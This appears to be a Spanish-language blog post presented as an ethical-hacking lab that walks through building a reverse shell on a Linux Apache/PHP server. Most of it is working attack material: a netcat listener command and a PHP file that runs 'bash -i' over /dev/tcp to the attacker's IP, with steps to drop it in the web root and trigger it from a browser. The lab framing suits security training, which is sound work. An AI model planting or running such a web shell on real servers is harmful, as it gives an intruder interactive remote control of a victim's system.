martes, 19 de noviembre de 2024

Cómo Crear un Reverse Shell Básico con PHP y Apache en Linux

Para pruebas de seguridad en sistemas controlados podrias aplicar este laboratorio: Creando una reverse shell con PHP y Apache en Linux.

Requisitos previos

  1. Servidor linux con apache y php
  2. Maquina atacante con la herramienta nc netcat (tu equipo o un equipo VPN ideal)
  3. Conexión de red entre el servidor y la maquina atacante

Paso 1: Preparar la maquina atacante (tu PC)

  1. Debemos asegurarnos de tener instaladao NetCat. Es una herramienta escencial para conexiones de red.
sudo apt install netcat # ubuntu
sudo pacman -Sy netcat  # arch-linux
  1. Conocer mi ip o IP_atacante
ifconfig |grep "inet 192"

La IP es: 192.168.1.38 tú debes de remplazarlo por la IP de tu equipo o tu VPN (si tienes un servidor dedicado para esto)

  1. Abrir un puerto en tu maquina para escuchar conexiones:
nc -lvnp 4444

Cómo se comporta el comando:

  • nc: Es el comando base para ejecutar netcat.
  • -l: Significa “listen” (escuchar). Inicia netcat en modo de escucha, esperando conexiones entrantes en lugar de realizar una conexión saliente.
  • -v: Especifica “verbose” (detallado). Muestra información adicional, como el proceso de conexión y las direcciones IP.
  • -n: Le dice a netcat que no resuelva nombres de dominio. Solo utilizará direcciones IP numéricas, lo cual es útil para evitar que haga búsquedas DNS.
  • -p 4444: Define el puerto en el que netcat escuchará. En este caso, es el puerto 4444.

Este comando hace que netcat escuche conexiones entrantes en el puerto 4444.
Es comúnmente utilizado en ataques de reverse shell o troyanos

Paso 2: Verificación de servidor apache con php

Crea un archivo de prueba en /var/www/html:

echo "<?php phpinfo();" | sudo tee /var/www/html/info.php

Accede desde un navegador al servidor: http://192.168.1.25/info.php.

Paso 3: Crear el Script de Reverse Shell

Crear el archivo PHP con la reverse shell:

<?php
// Shell inversa en PHP   // IP_atacante=192.168.1.38
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.38/4444 0>&1'");
?>
  1. Colocar el archivo reverse-shell.php en /var/www/html/
  2. Accede al archivo desde tu navegador: http://192.168.1.25/reverse-shell.php
  3. Una vez accedas deberias obtener una conexión en tu maquina atacante con un shell interactivo.

Conclusión

Como desarrolladores web, entender cómo funcionan las vulnerabilidades como las reverse shells nos ayuda a construir sistemas más seguros. En el hacking ético, este conocimiento es clave para identificar y prevenir posibles ataques, asegurando la protección de aplicaciones y datos sensibles

Referencias

  1. Como Hackear una máquina? REVERSHELL
  2. Repo github tool reverse shell

No hay comentarios:

Publicar un comentario